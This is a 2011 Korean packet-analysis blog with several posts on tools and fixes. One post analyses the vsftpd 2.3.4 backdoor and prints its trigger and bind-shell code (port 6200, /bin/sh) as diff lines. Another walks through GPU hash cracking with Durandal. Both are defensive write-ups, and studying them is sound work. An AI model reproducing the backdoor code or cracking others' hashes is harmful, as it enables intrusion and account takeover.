2011년 7월 19일 화요일

패킷 데이터 문자열을 인덱스화하여 빠르게 검색하기

패킷 캡쳐파일을 다루다 보면, 큰 패킷파일을 도대체 어떻게 다뤄야 할까 하는 고민이 들게 마련이다. 이럴때 조금은 유용하게 사용할 수 있는 것이 있다. 패킷 데이터의 문자열을 인덱스 하여 빠르게 검색할 수 있도록 도와주는 것이다. 사용하려는 목적에 따라 다르겠지만, 이것을 응용해서 여러분들에게 딱 맞는 소프트웨어로도 변신할 수 있다.

일단, 프로그램 이름은 'tcpindex' 이다. 문자열들을 인덱스하여 빠르게 검색할 수 있도록 도와준다. Pcap 라이브러리가 기본적으로 사용되고, 텍스트 검색 기능을 위해 CLucene 가 사용되었다. CLucene 는 Lucene 의 C++ 로 포팅된 라이브러리로 빠른 성능의 검색 기능을 제공한다.

윈도우에서도 사용가능하며, 다운로드는 다음 경로를 통해서 할 수 있다.
윈도우 버전은 위 경로에서 바로 받아 사용하면 되고, 리눅스의 경우는 간단히

# ./configure
# make
# make install

과정을 거쳐서 사용하면 된다.

Tip!
나의 경우는 컴파일을 하다 아래와 같은 에러가 나타났다.

# make
stream_packet.h: In member function ‘void
stream_packet_t::read_bytes(uchar*, uint)’:
stream_packet.h:72: error: ‘memcpy’ was not declared in this scope
In file included from tcpindex.h:52,
                from main.cpp:20:
session.h: In constructor ‘session_t::session_t(uint, uint, uchar,
ushort, ushort)’:
session.h:61: warning: deprecated conversion from string constant to ‘char*’
In file included from main.cpp:20:
tcpindex.h: In constructor ‘options::options()’:
tcpindex.h:83: warning: deprecated conversion from string constant to ‘char*’
이런 경우는,
stream_packet.h 에 ' #include <string.h> '를 삽입하고 컴파일을 하면 무리없이 컴파일이 된다.

컴파일을 하고 사용방법을 보면 아래와 같다. 사용 설명은 리눅스 기준이지만, 윈도우의 바이너리 형태도 같다고 보면 된다.

# tcpindex -h
Usage: tcpindex [OPTIONS] [QUERY STRING]
Capture packets on a network interface and index packets containingso they
can be rapidly searched for keywords.

 -D, --list-interfaces  list the available network interfaces
 -i, --interface=INDEX  specify index of the interface to capture packets on
 -l, --index-dir=DIR    specify the directory for the search index (default is
                        'index_data')
 -h, --help             give this help
 -q, --query            specify a keyword query to perform against the index
 -s, --save-data        whether to save session data to individual files as
                        well as the index
 -v, --verbose          output verbose debugging messages

Example usage to capture and index data:
 tcpindex -i 1
Example usage to query:
 tcpindex -q +referer +aol

옵션은 많지 않고, 대충 보아도 사용방법을 눈치챌 수 있을 것이다. -i 는 인터페이스를 지정하고 -l 은 인덱스 경로 그리고 -q 는 쿼리를 뜻한다. -D 는 사용가능한 인터페이스 목록을 보여준다.

# tcpindex -D
1: eth0
   (null)
2: any
   Pseudo-device that captures on all interfaces
3: lo
   (null)
No interface specified.

일단, -i 로 인터페이스를 지정하고 실행해 보자. 인덱스 경로를 따로 지정하지 않으면 프로그램을 실행한 경로 기준으로 인덱스 파일이 생성된다.

# tcpindex -i eth0
중지는 Ctrl+C 를 눌러서 하면 된다. 이후, ls 로 목록을 살펴보면 아래와 같다:

# ls
index_data

TCP-192.168.0.203_39551-174.37.113.144_80
TCP-192.168.0.203_39552-174.37.113.144_80
TCP-192.168.0.203_39553-174.37.113.144_80
TCP-192.168.0.203_40924-74.125.127.128_80
TCP-192.168.0.203_42525-74.125.224.249_80
TCP-192.168.0.203_42530-74.125.224.249_80
TCP-192.168.0.203_44927-74.125.224.235_80
TCP-192.168.0.203_45103-74.125.127.121_80
TCP-192.168.0.203_47094-74.125.127.132_80
TCP-192.168.0.203_49501-74.125.224.243_80
TCP-192.168.0.203_57709-208.70.196.59_80
TCP-192.168.0.203_57710-208.70.196.59_80
TCP-192.168.0.203_57714-208.70.196.59_80
TCP-192.168.0.203_58132-74.125.127.95_80
TCP-192.168.0.203_60412-74.125.224.159_80


TCP 로 처음 시작하며 IP 주소와 포트 번호가 있는 것은 실제 데이터의 문자열 정보가 담겨 있는 것이다. 그리고 index_data 디렉토리 안에 인덱스가 있다.

인덱스를 이용한 검색을 하기 위해서는 -q 옵션을 사용한다. packetinside.com 으로 검색해 보았다.

# tcpindex -q packetinside.com
Searching for: packetinside.com

1. TCP-192.168.0.203_36292-74.125.127.191_80 - 0.18340063
 ; __utmz=150635877.1310986907.36.22.utmcsr=<B>packetinside.com</B>|utmccn=(referral)|utmcmd=referral|utmcct...=<B>packetinside.com</B>|utmccn=(referral)|utmcmd=referral|utmcct=/2011/05/nix.html
If-Modified-Since: Mon.
2. TCP-192.168.0.203_36351-74.125.127.191_80 - 0.16210480
 =150635877.1.10.1310986907; __utmc=150635877;
__utmz=150635877.1310986907.36.22.utmcsr=<B>packetinside.com</B>|utmccn.


Search took: 0 ms.

와우, 빠른 속도로 검색되어 나타난다. * 과 같은 와일드카드 형태도 사용 가능한데 아래와 같이 결과가 보인다.

# tcpindex -q packet*inside
Searching for: packet*inside

1. TCP-192.168.0.203_36292-74.125.127.191_80 - 0.12968384
 .
2. TCP-192.168.0.203_44927-74.125.224.235_80 - 0.12968384
 .

Search took: 0 ms.

~는 Fuzzy 서치 형태인데 알고리즘에 따른 검색이라 그런지, 시간은 조금 더 소요된다.

# tcpindex -q packet~
Searching for: packet~0.5

1. TCP-192.168.0.203_57709-208.70.196.59_80 - 0.22925079
 .
2. TCP-192.168.0.203_57713-208.70.196.59_80 - 0.18340063
 .

Search took: 3 ms.

이외 AND 오퍼레이트 사용도 가능하다.

# tcpindex -q +host "packetinside.com" AND GET
Searching for: +host +packetinside.com +get

# tcpindex -q +host +referer| grep packet
<B>Referer</B>:
http://www.packetinside.com...,firstScrollTime.1571,ol.1912 HTTP/1.1
<B>Referer</B>: http://www.packetinside.com...GET
/dyn-css/authorization.css?targetBlogID=4889001868370773649&zx=ad647330-a785-43be-847d-67c0566003e4
HTTP/1.1
<B>Referer</B>: http://www.packetinside.com.
<B>Referer</B>: http://www.packetinside.com/2011/07/cpugpu-durandal.html
<B>Host</B>: www.packetinside.com
<B>Referer</B>: http://www.packetinside.com/
<B>Host</B>: www.packetinside.com
<B>Referer</B>: http://www.packetinside.com/search/label/winpcap

매칭되는 부분은 <B> 와 </B> 로 둘러 쌓인다. 검색 조건과 관련해서는 Lucene 의 문법 형태를 참고해 보기 바란다. 아주 큰 데이터로 테스트 해보지는 않았지만, 문자열 기준으로 의심스러운 패턴을 찾아내거나 기타 패킷 문자열 검색 형태로는 유용하게 사용될 수 있으리라 생각된다.

도구 자체의 순수 기능만 보기 보다는 이것을 활용해서 다양하게 이용할 수 있다는 것을 잊지만 말자!

[참고]
1. TcpIndex 다운로드
http://www.gotomanage.com/open_source_tools/tcpindex_thankyou
2. Lucene 쿼리 파서 문법
http://lucene.apache.org/java/2_3_2/queryparsersyntax.html
3. Clucene
http://clucene.sourceforge.net/

2011년 7월 15일 금요일

4년만의 PuTTY 터미널 업데이트 0.61 버전

윈도우 환경에서 터미널 접속을 하는 분들은 PuTTY 를 많이 사용하기도 한다. 무료로 사용할 수 있거니와, 심플하기 때문이다. 나 또한 윈도우 환경에서는 PuTTY 를 주로 사용하는데, 거의 4년이 넘어서 업데이트 된 버전이 나왔다. 2007년4월29일 0.60 버전이 나왔고, 2011년7월12일 드디어 0.61 버전이 나온것이다 :-)

몇가지 새로운 기능과 버그픽스 그리고 윈도우 7, 여러 다양한 SSH 서버와의 호환성이 업데이트 되었다. 세부적인 업데이트 내역은 다음과 같다.

  • Kerberos/GSSAPI authentication in SSH-2.
  • Local X11 authorisation support on Windows. (Unix already had it, of course.)
  • Support for non-fixed-width fonts on Windows.
  • GTK 2 support on Unix.
  • Specifying the logical host name independently of the physical network address to connect to.
  • Crypto and flow control optimisations.
  • Support for the zlib@openssh.com SSH-2 compression method.
  • Support for new Windows 7 UI features: Aero resizing and jump lists.
  • Support for OpenSSH AES-encrypted private key files in PuTTYgen.
  • Bug fix: handles OpenSSH private keys with primes in either order.
  • Bug fix: corruption of port forwarding is fixed (we think).
  • Bug fix: various crashes and hangs when exiting on failure,
  • Bug fix: hang in the serial back end on Windows.
  • Bug fix: Windows clipboard is now read asynchronously, in case of deadlock due to the clipboard owner being at the far end of the same PuTTY's network connection (either via X forwarding or via tunnelled rdesktop).

다운로드는 다음 경로에서 가능하다.

http://www.chiark.greenend.org.uk/~sgtatham/putty/

2011년 7월 14일 목요일

분산 기반의 CPU/GPU 해쉬 크랙 프로젝트 'Durandal'

이전에 해쉬 값 크랙과 관련하여 몇번 소개한 적이 있다. 오늘은 분산 기반의 GPU 를 이용한
해쉬 크랙 프로젝트인 'Durandal' 을 알아볼까 한다. 여기서 언급하는 것은,  보안적인 관점에서 소개하는 것이지, 악의적 형태로 이용되기를 원하지는 않는다. 암호화된 패스워드도 얼마나 쉽게 깨질 수 있는지, 왜 패스워드 문자열을 길게 사용해야 하는지 그 이유를 알게될 것이다.

우선 이와 관련해 소개된 이전 블로그를 참고해 보기 바란다.

2010년09월15일 8자리 패스워드는 저리가~ 12자리 패스워드를 사용하자 
2010년11월23일 당신의 패스워드는 안전한가? 클라우드 기반 패스워드 크랙킹
2010년12월01일 자바스크립트기반의 분산 해쉬 크랙킹

일단, Durandal 은 아래 사이트를 방문하면 정보를 얻을 수 있다.
http://durandal-project.org/

윈도우, 리눅스를 지원하며 현재는 64비트만 코드가 공개되어 있다. 32비트도 곧 공개되어 질 것이라고 한다. MD5, SHA1, SHA256, SHA512, NTLMv1, MySQL 의 HASH 를 지원하며, Nvidia 의 CUDA 를 지원한다. 즉, GPU 이용이 가능하며 또 다른 주요 특징으로 분산처리가 지원된다는 점이다.

윈도우 사용자는 바이너리를 다운로드 받아 사용할 수 있으며, 리눅스 사용자라면 아래와 같은 방법으로 하면 된다. 필자가 좋아하는 데비안 사용자라 가정하면, 우선 컴파일에 필요한 패키지를 설치하고 소스를 받아 컴파일을 하면 된다.

$ apt-get install cmake make g++ libboost-serialization-dev libboost-thread-dev libboost-system-dev libboost-filesystem-dev

$ git clone http://durandal-project.org/durandal/

$ cd durandal

$ ./install_linux.sh

컴파일이 완료된 후 부터는 따로 어떤 메뉴얼이 없어서, 직접 실행해 보고야 알았다. 설치된 후 바이너리도 해당 디렉토리 밑에 있는 것이 아니라 한단계 상위 디렉토리인 bin 아래에 들어 있다.

# ls -l
total 48592
-rwxr-xr-x 1 root root 13972420 Jul 12 22:11 admin
-rwxr-xr-x 1 root root 18445133 Jul 12 22:13 agent
-rwxr-xr-x 1 root root    98929 Jul 12 22:13 cudump
-rwxr-xr-x 1 root root 17149247 Jul 12 22:14 durandal

durandal 은 메인 서버로 동작하는 프로그램이다. 실행하게 되면 포트번호 지정과 패스워드
그리고 관리용 포트, 관리용 패스워드를 정의한다.

# ./durandal
________                                  .___        .__
 \______ \  __ ______________     ____   __| _/_____   |  |
 |    |  \|  |  \_  __ \__  \   /    \ / __ | \__  \  |  |
 |    `   \  |  /|  | \// __ \_|   |  | /_/ |  / __ \_|  |__
 /_______  /____/ |__|  (____  /|___|  |____ | (____  /|____/
        \/                  \/      \/     \/      \/
Durandal Server 0.5

Distributing server port ? 1111
Password for distributing server ?
Administration server port ? 1112
Password for administration server ?

Daemonizing server...
서버포트는 1111, 그리고 관리용은 1112 로 지정하였다.  프로세스를 확인해 보면 동작하고
있음을 알 수 있다.

# ps -ef | grep durandal
root     29331     1  0 22:26 ?        00:00:00 ./durandal
root     29335 19079  0 22:26 pts/7    00:00:00 grep durandal
# netstat -na | grep 1111
tcp        0      0 0.0.0.0:1111            0.0.0.0:*               LISTEN

다음으로는 agent 를 동작시켰다. 앞서 정의한 Durandal 서버 접속 주소와 패스워드를 입력한다.
사용될 CPU 는 자동으로 검출되어 8개를 입력하였고, GPU 도 자동으로 잘 인식되었다.
그러면, 몇 가지 Hash 기능등을 테스트 하면서 얼마나 빠른 속도로 가능한지 수치를 보여준다. Bruteforce 로 md5 를 할 경우 초당 138.576 Mhash 가 나왔다. GPU 의 힘인가 보다.

# ./agent

________                                  .___        .__
 \______ \  __ ______________     ____   __| _/_____   |  |
 |    |  \|  |  \_  __ \__  \   /    \ / __ | \__  \  |  |
 |    `   \  |  /|  | \// __ \_|   |  | /_/ |  / __ \_|  |__
 /_______  /____/ |__|  (____  /|___|  |____ | (____  /|____/
        \/                  \/      \/     \/      \/
Durandal Agent 0.5

Durandal server (host:port)? localhost:1111
Password?
Proxy (host:port, empty if no)?
8 CPU(s) detected. How many CPU(s) to use? [default: 8]
1 CUDA-device(s) detected (GeForce GTS 450).
How many device(s) to use? [default: 1]

Intel(R) Core(TM) i7 CPU         870  @ 2.93GHz: 8 hardware threads
CUDA support loaded: 1 CUDA-device(s) (GeForce GTS 450)
Remote Durandal server: localhost:1111
Proxy: no

Evaluating graphic card, your screen may freeze (it can take several
minutes)... done.

Benchmarking hash functions for bruteforce attack... done.

Benchmarking hash functions for dictionary attack... done.

Benchmarking hash functions for markov attack... done.

Benchmarks for bruteforce attack :
md5: 138.576 Mhash/s
sha1: 47.7707 Mhash/s
sha256: 9.47407 Mhash/s
ntlmv1: 91.8744 Mhash/s
mysql: 10.161 Mhash/s
mysqlpre4.1: 195.07 Mhash/s

Benchmarks for dictionary attack :
md5: 19.25 Mhash/s
sha1: 13.8209 Mhash/s
sha256: 7.54898 Mhash/s
ntlmv1: 31.337 Mhash/s
mysql: 8.91741 Mhash/s
mysqlpre4.1: 41.478 Mhash/s

Benchmarks for markov attack :
md5: 39.5677 Mhash/s
sha1: 16.8386 Mhash/s
sha256: 8.2687 Mhash/s
ntlmv1: 43.7967 Mhash/s
mysql: 10.689 Mhash/s
mysqlpre4.1: 55.4634 Mhash/s

Segmentation fault

그런데 나의 경우는 Segmentation 이 발생하였다. 간단히 살펴보았더니, 앞서 서버 접속주소를
localhost 로 사용하였는데, 127.0.0.1 로 다시 지정하니 문제 없었다. 약간의 버그등은 있다.

다시 제대로 실행되면 아래와 같은 문구가 계속 나온다. 즉, 에이전트로서 명령을 기다리고 있다는 것이다.

No running jobs
No running jobs
No running jobs
No running jobs
No running jobs
No running jobs
No running jobs

그럼, 이제 admin 을 접속해 보자. 접속하면 사용 가능한 명령어들이 나오는데, 테스트로
다음의 MD5 를 넣어보았다.

21232f297a57a5a743894a0e4a801fc3

사전방식이 아니라 bruteforce 방식으로 지정했다.
$ ./admin
Usage: ./admin server [-p port] [-k password]
$ ./admin 127.0.0.1 -p 1112 -k 1111
Commands:
add <computation_mode = bf,dico> <hash_type> <hash> [charset]
[time_task] [max_len_pass]
add <computation_mode = markov> <hash_type> <hash> <-time or -level>
<value> <max_len_pass> [time_task]
del <job_id>
show running jobs
show complete jobs
show stats
estimate mkvtime <markov_level> <max_len_pass>
estimate mkvlevel <computation_time> <max_len_pass>
> add bf md5 21232f297a57a5a743894a0e4a801fc3
> show stats
-------------
Global benchmark: 0 MHash/s
> show stats
banana - 127.0.0.1: 138 MHash/s, Intel(R) Core(TM) i7 CPU         870
@ 2.93GHz (8 core(s)), GeForce GTS 450 (1 device(s))
-------------
Global benchmark: 138 MHash/s
Add 를 하게 되면 아래와 같이 agent 콘솔에서 Job 을 받았다는 메시지가 나타난다.

No running jobs
No running jobs
No running jobs
No running jobs
Job#0 Task#0 : Z to miWjFj on 21232f297a57a5a743894a0e4a801fc3 (md5)
No running jobs
No running jobs

금방 작업이 끝난 것 같은데, show complete jobs 로 확인해 보면 HASH 해독 결과가 나타난다.
패스워드는 "admin" 이라고 말이다. 2분도 안되는 시간에 금방 해독이 되었다.

> show stats
> show complete jobs
Job 0 : bruteforce attack on md5 hash 21232f297a57a5a743894a0e4a801fc3
with charset abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,
task time 120 sec, max length pass 15, result : "admin"
>

다음으로는 조금 더 긴 문자열인 'packetinside' 를 사용하였다. 그런데, 계속 해독작업이 진행되며 Job 이793 번까지 실행되는 과정까지도 해독되지 않았다. 패스워드가 길어짐에 따라, 해독하는 시간도 상당히 증가한 것이다. (2틀이 지난 시점까지도 해독되지 않았다)

No running jobs
Job#2 Task#0 : Z to miWjFj on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#1 : miWjFj to zpRsjsZ on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#2 : zpRsjsZ to MwMBNAY on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
.
.
.
Job#2 Task#787 : MMxQHTtO to ZTsZlctO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#788 : ZTsZlctO to mboiQksO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#789 : mboiQksO to zijrutrO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#790 : zijrutrO to MpeAYBqO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#791 : MpeAYBqO to ZwZICKpO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#792 : ZwZICKpO to mEURgToO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)
Job#2 Task#793 : mEURgToO to zLPaLboO on 48bd28f405a9e3713ac0605a48b2bd0b (md5)

왜, 패스워드를 단순하게 사용하면 안되는지를 보여주는 것이다. 물론, 컴퓨팅 파워를 상당히 높이면 초당 처리할 수 있는 HASH 는 훨씬 높아질 것이다. 더군다나, 분산기술을 이용하고 GPU 를 사용하니 좋은 성능의 컴퓨터 시스템만 구성하여 배치한다면 해독 시간은 짧아질 것이다.

자, 그렇다면 이제 여러분이 해야 할 일은, "패스워드를 길게 사용합시다" :-)

/Rigel

2011년 7월 12일 화요일

Tcpdump 의 출력내용을 내가 원하는 형태로 바꾸어 보자.

예전에 검색하다 Tcpdump 필터를 하나 발견한 것이 있다. AWK 로 제작한 간단한 스크립트로 Tcpdump 의 출력내용을 awk 로 파싱하여 좀더 보기 쉽게 출력한 것이다. 다음은 일반적으로 tcpdump 를 통해 출력한 내용의 일부분이다.

# tcpdump -i eth0 -s1550 -x


09:26:19.571231 IP 202.131.29.71.www > 192.168.15.11.60478: . 1:1461(1460) ack 658 win 6570
0x0000:  4500 05dc 89d8 4000 3406 ffc5 ca83 1d47
0x0010:  c0a8 0f0b 0050 ec3e b64f e2ba e85c e4e9
0x0020:  5010 19aa 1b94 0000 4854 5450 2f31 2e31
0x0030:  2032 3030 204f 4b0d 0a44 6174 653a 204d
0x0040:  6f6e 2c20 3131 204a 756c 2032 3031 3120
0x0050:  3133 3a32 363a 3137 2047 4d54 0d0a 5365
0x0060:  7276 6572 3a20 4170 6163 6865 0d0a 4c61


물론 -X 옵션과 같은 몇 가지를 조합하면 ASCII 값도 출력시키면서 조금은 더 보기 좋게 볼 수 있다. 여기서 소개하는 것을 이용하면 아래 화면과 같은 형태로 출력된다.


상단에 헤더정보가 요약되어 보이고 다음에 스트링 문자열을 보여준다. 사용방법은 아래 경로에서 스크립트를 다운로드 받고,

# tcpdump -i eth0 -l -s 65535 -x | fil

과 같이 사용하면 된다. 그냥 간단히 덤프하는 출력 내용을 fil 로 전달하는 것 뿐이다.

http://www.ishiboo.com/~danny/Projects/tcpdump.awkfilter/fil

요새는 워낙 좋은 도구들이 많이 나와있다보니 이런 필터가 큰 의미가 있을까 하는 분들도 있을 것이다. 나또한 이 필터의 직접 적인 출력 내용보다도 이런 방식으로 활용할 수 있다는 것을 여러분들에게 소개해 주고 싶은 것이다. Awk 로 만들어져 있지만, 이외에도 다양한 스크립트를 이용할 수 있다.  업무에 따라, 필요로 하는 정보가 조금씩 달라진다. 그럴때 나에게 맞는 도구를 간단히 만들어 응용해 보면, 더욱 효과적인 패킷 분석이 가능해 진다.  꼭, 어렵게 생각할 필요는 없다. 기존에 나와있는 도구를 잘 응용하면 여러분이 원하는 도구로 쉽게 만들어 버릴 수 있다는 사실을 잊지말자!

P.S 처음 받아서 실행해 보면, 출력이 제대로 되지 않아 살펴보았다. fil 필터를 열어보면 다음과 같은 시작부분에서 startip 를 0 에서 1로 변경하였다. 그냥 실행시 제대로 정보가 출력되지 않아, 프로토콜 번호를 찍어보니 엉뚱한 것이 찍히고 있었고, 코드를 확인결과 startip 만 살짝 바꾸면 위와 같이 출력이 된다.


BEGIN {
        BIGENDIAN = 0
        margin="   "
        startip=1
        FS = " "
}

2011년 7월 11일 월요일

오픈소스 FTP 서버 Vsftpd 에서 발견된 백도어

얼마전 알려진 Vsftpd 의 백도어에 대해서 잠깐 이야기 해보고자 한다. Vsftpd 는 빠르고, 안전한 FTP 서버 라는 이름으로 개발되어 지고 있는 오픈소스이다. 그런데, 이 FTP 서버 프로그램에 백도어가 있는 사실이 알려졌다. 누군가가 백도어를 만든 소스코드를 원본 배포 사이트에서 바꿔치기를 한 것이다.

문제가 된 파일은 2.3.4 버전으로 SHA256SUM 값은 아래와 같다. 만약 이 값 이라면 해당 파일은 백도어가 있는 파일이다.

2a4bb16562e0d594c37b4dd3b426cb012aa8457151d4718a5abd226cef9be3a5 vsftpd-2.3.4.tar.gz

약 하루반에서 이틀 정도 배포가 이뤄진 것으로 추정되는데, 7월 초 vsftpd 소스파일을 받은 사용자가 있다면 한번쯤, 의심해 보는 것이 좋겠다.  문제가 되는 소스 파일을 잠깐 들여다 보면,
0x3a,0x29 값이 보인다. 이 값은 ASCII 로 => ':)' 이다. 즉,  :) 가 인자로 입력되면 vsf_sysutil_extra() 가 호출된다.

diff -ur vsftpd-2.3.4/str.c vsftpd-2.3.4.4players/str.c
--- vsftpd-2.3.4/str.c 2011-06-30 15:52:38.000000000 +0200
+++ vsftpd-2.3.4.4players/str.c 2008-12-17 06:54:16.000000000 +0100
@@ -569,11 +569,6 @@
     {
       return 1;
     }
-    else if((p_str->p_buf[i]==0x3a)
-    && (p_str->p_buf[i+1]==0x29))
-    {
-      vsf_sysutil_extra();
-    }
   }
   return 0;
 }

이  vsf_sysutil_extra() 는 sysdeputil.c 에 기술되어 있는데, TCP/6200 번 포트를 리스닝 하게 되어 있고, 접속시 /bin/sh 인 쉘을 실행한다.

diff -ur vsftpd-2.3.4/sysdeputil.c vsftpd-2.3.4.4players/sysdeputil.c
--- vsftpd-2.3.4/sysdeputil.c 2011-06-30 15:58:00.000000000 +0200
+++ vsftpd-2.3.4.4players/sysdeputil.c 2010-03-26 04:25:33.000000000 +0100
@@ -34,10 +34,7 @@
 /* For FreeBSD */
 #include <sys/param.h>
 #include <sys/uio.h>
-#include <netinet/in.h>
-#include <netdb.h>
-#include <string.h>
-#include <stdlib.h>
+
 #include <sys/prctl.h>
 #include <signal.h>

@@ -220,7 +217,7 @@
 static int s_proctitle_inited = 0;
 static char* s_p_proctitle = 0;
 #endif
-int vsf_sysutil_extra();
+
 #ifndef VSF_SYSDEP_HAVE_MAP_ANON
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -843,30 +840,6 @@
   }
 }

-int
-vsf_sysutil_extra(void)
-{
-  int fd, rfd;
-  struct sockaddr_in sa;
-  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
-  exit(1);
-  memset(&sa, 0, sizeof(sa));
-  sa.sin_family = AF_INET;
-  sa.sin_port = htons(6200);
-  sa.sin_addr.s_addr = INADDR_ANY;
-  if((bind(fd,(struct sockaddr *)&sa,
-  sizeof(struct sockaddr))) < 0) exit(1);
-  if((listen(fd, 100)) == -1) exit(1);
-  for(;;)
-  {
-    rfd = accept(fd, 0, 0);
-    close(0); close(1); close(2);
-    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
-    execl("/bin/sh","sh",(char *)0);
-  }
-}
-
-
6200 번 포트에 대해서 SANS 에서 조회해 보면 7월5일 급격하게 증가된것을 볼 수 있다. 7월6일이 가장 큰 Peak 를 기록하다 7일날에는 많이 떨어졌다.

http://isc.sans.org/port.html?port=6200

여러분이 패킷 관찰 중, TCP/6200 번이 보인다면 관심을 가져보아야 할 것이다. 물론, 이것은 잠시동안 배포된 소스파일상의 백도어 였고, 이미 어느정도 알려져서 문제가 지속될 것으로는 보이지는 않는다. 다만, 이번 사건을 계기로 오픈소스 코드를 다운로드 받을 때는 한번 해쉬값을 체크해 보고 사용하는 것이 좋은 습관이다.

일단, 지금은 TCP/6200 번이 Vsftpd 의 백도어 포트로 사용되었다는 것은 알려진 사실이다. 그런데, 만약 이런 것이 알려져 있지 않고 내부에서 계속 사용해왔다면 어땠을까? 여러분이 네트워크 행동을 관찰하고 있다가, 평소에 보이지 않았던 6200 번 포트가 발생하였다는 것을 감지할 수 있었을까?  네트워크 규모가 큰 곳이라면 사실 탐지가 힘들 수도 있을 것이다. 워낙에 다양한 이벤트가 많고, 그 데이터 또한 너무나 크기 때문이다. 결국 사람의 눈으로는 발견해 내는 것이 쉽지 않고, 어떤 자동화된 탐지도구들이 필요로 해지는 것이다.

하지만, 자동화된 분석 도구라고 해서 다 감지할 수 있는 것도 아니고, 관리자 입장에서는 참으로 힘든일이다.  그렇지만 현재의 네트워크 Activity 를 가장 잘 알고 있는 사람이 여러분들 일 것이다. 네트워크를 가장 잘 알고 있기 때문에 평소에 발생되지 않았던 포트와 같은 상황들을 잘 알고 있다.  이 뜻은 네트워크 보안 정책을 보다 정확하게 설정할 수 있다는 뜻도 된다.  필요한 포트들만 오픈되고, 특정 IP 로만 한정되고, 어떻게 네트워크 보안 정책을 수립해야 하는지 말이다.

네트워크 규모가 커지고, 복잡해 짐에 따라 방화벽이나 기타 네트워크 장비들의 설정도 복잡해 지고 있다. 이런 복잡함이 가져오는 잘못된 정책들도 더러 발생하고 있고, 분명 간단한 정책보다는 복잡한 설정이 가져오는 Risk 는 있을 수 있다.  아~~ 잠시 백도어 이야기를 하다 보니  글이 살짝 다른 방향으로 빠지고 있는데, 이 이야기는 나중에 한번 다시 해볼까 한다.

어찌되었든 이런 백도어가 이번이 처음은 아닌데, 만약 백도어가 있을때 과연 네트워크 관점에서 탐지해 낼 수 있는 시스템, 분석 관점에서 대비가 되어 있느냐에 대해서 생각해 보게 만들어 함께 공유해 보고자 하였다.

[참고]
1. Vsftpd 사이트
http://vsftpd.beasts.org
2. 백도어 파일과 정상파일 비교
http://pastebin.com/AetT9sS5

2011년 7월 6일 수요일

와이어샤크 컨퍼런스 2011 발표자료

일전에 한번 소개한 것과 같이 6월13-16 일 와이어샤크 개발자, 사용자 컨퍼런스가 스탠포드 대학에서 열렸다.
한번 참석해 보고 싶은 컨퍼런스 이긴 하나, 미국에서 열리니 참석하는게 쉽지는 않다. 그래도 다행인 것은 이 컨퍼런스 후에, 발표자료등이 공개 되어 참으로 유용하다.

자료는 다음 경로에서 받을 수 있다.

http://sharkfest.wireshark.org/sharkfest.11/index.html

패킷분석이 관심이 있는 사용자라면 관심 주제에 대해서 한번 살펴보면 도움이 될 것이다.
앞으로 내가 여러분들과 함께 공유하고 소개하고 싶은 내용도 많이 있는데,
차차 패킷과 관련한 주제로 여러분들과 함게 하겠다.

2011년 7월 2일 토요일

Scapy 사용중 발생하는 Scapy_Exception 오류

Scapy 를 사용하다, Exception 이 발생하였는데 이상하게도 발생된 Scapy_Exception 이
정의되어 있지 않다는 다음과 같은 메시지가 나타났다.

  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 472, in rdpcap
    return PcapReader(filename).read_all(count=count)
  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 563, in __init__
    RawPcapReader.__init__(self, filename)
  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 492, in __init__
    raise Scapy_Exception("Not a pcap capture file (bad magic)")
NameError: global name 'Scapy_Exception' is not defined

Pcap 파일이 아니라 Exception 을 발생시키려 하였는데, 정의되어 있지 않은 것이다.
이와 관련 검색해 보니 버그로 등록되어 있었고, 일단 필자는 다음과 같이 간단히
해결하였다.

문제가 발생한 utils.py 를 열고 발생된 라인 지점을 보면 다음과 같다.
앞서 블로그에서 설명한 몇 가지 것들을 볼 수 있는데, 일단 PCAP 파일의 Magic
넘버에 대해서 설명한 적이 있고, big or little endian 안에 대해 언급한 적이 있다.

[참고]
1) 리틀엔디안(Little-endian)과 빅엔디안(Big-endian)이해하기
2) PCAP 파일을 파헤쳐 보자 - 그 첫번째 이야기


코드를 보면 magic 넘버를 비교하여 이와 맞지 않으면 Scapy_Exception 을 발생시킨다.

        if magic == "\xa1\xb2\xc3\xd4": #big endian
            self.endian = ">"
        elif  magic == "\xd4\xc3\xb2\xa1": #little endian
            self.endian = "<"
        else:
            raise Scapy_Exception("Not a pcap capture file (bad magic)")
        hdr = self.f.read(20)
        if len(hdr)<20:
            raise Scapy_Exception("Invalid pcap file (too short)")
        vermaj,vermin,tz,sig,snaplen,linktype = struct.unpack(self.endian+"HHIIII",hdr)

그런데 이 Scapey_Exception 정의가 utils.py 에 정의되어 있지 않은 것이다. utils.py 에서
아래와 같이 시작줄에서 로드해 주면 된다.

from error import Scapy_Exception,log_runtime,log_loading,log_interactive

그리고 다시 실행해 보면 이제는 이전과 다른 메시지가 나타난다.

  File "/usr/local/lib/python2.7/site-packages/scapy/utils.py", line 493, in __init__
    raise Scapy_Exception("Not a pcap capture file (bad magic)")
Scapy_Exception: Not a pcap capture file (bad magic)

즉, 정상적으로 처리된 것이다. 이제는, 사용하는 프로그램에서 해당 Exception 이
발생할 경우 어떻게 처리할 것인지만 정의해 주면, 에러없이 깔끔하게 사용이 가능하다.

가끔, 오픈 소스들을 사용하다보면 예기치 않은 문제가 발생하곤 한다. 이런 문제가
해결될때까지 기다리는 방법도 있지만, 간단한 것은 본인 스스로 직접 해결해 보려고
노력하면 해당 프로그램을 이해하는데도 좋고, 스킬업 하는데 도움이 될 것이다.

P.S 참고로 사용했던 버전은 2.1.0 이며, 최근 버전에는 이 부분이 해결되었는지 확인해 보지 못했다.

/Rigel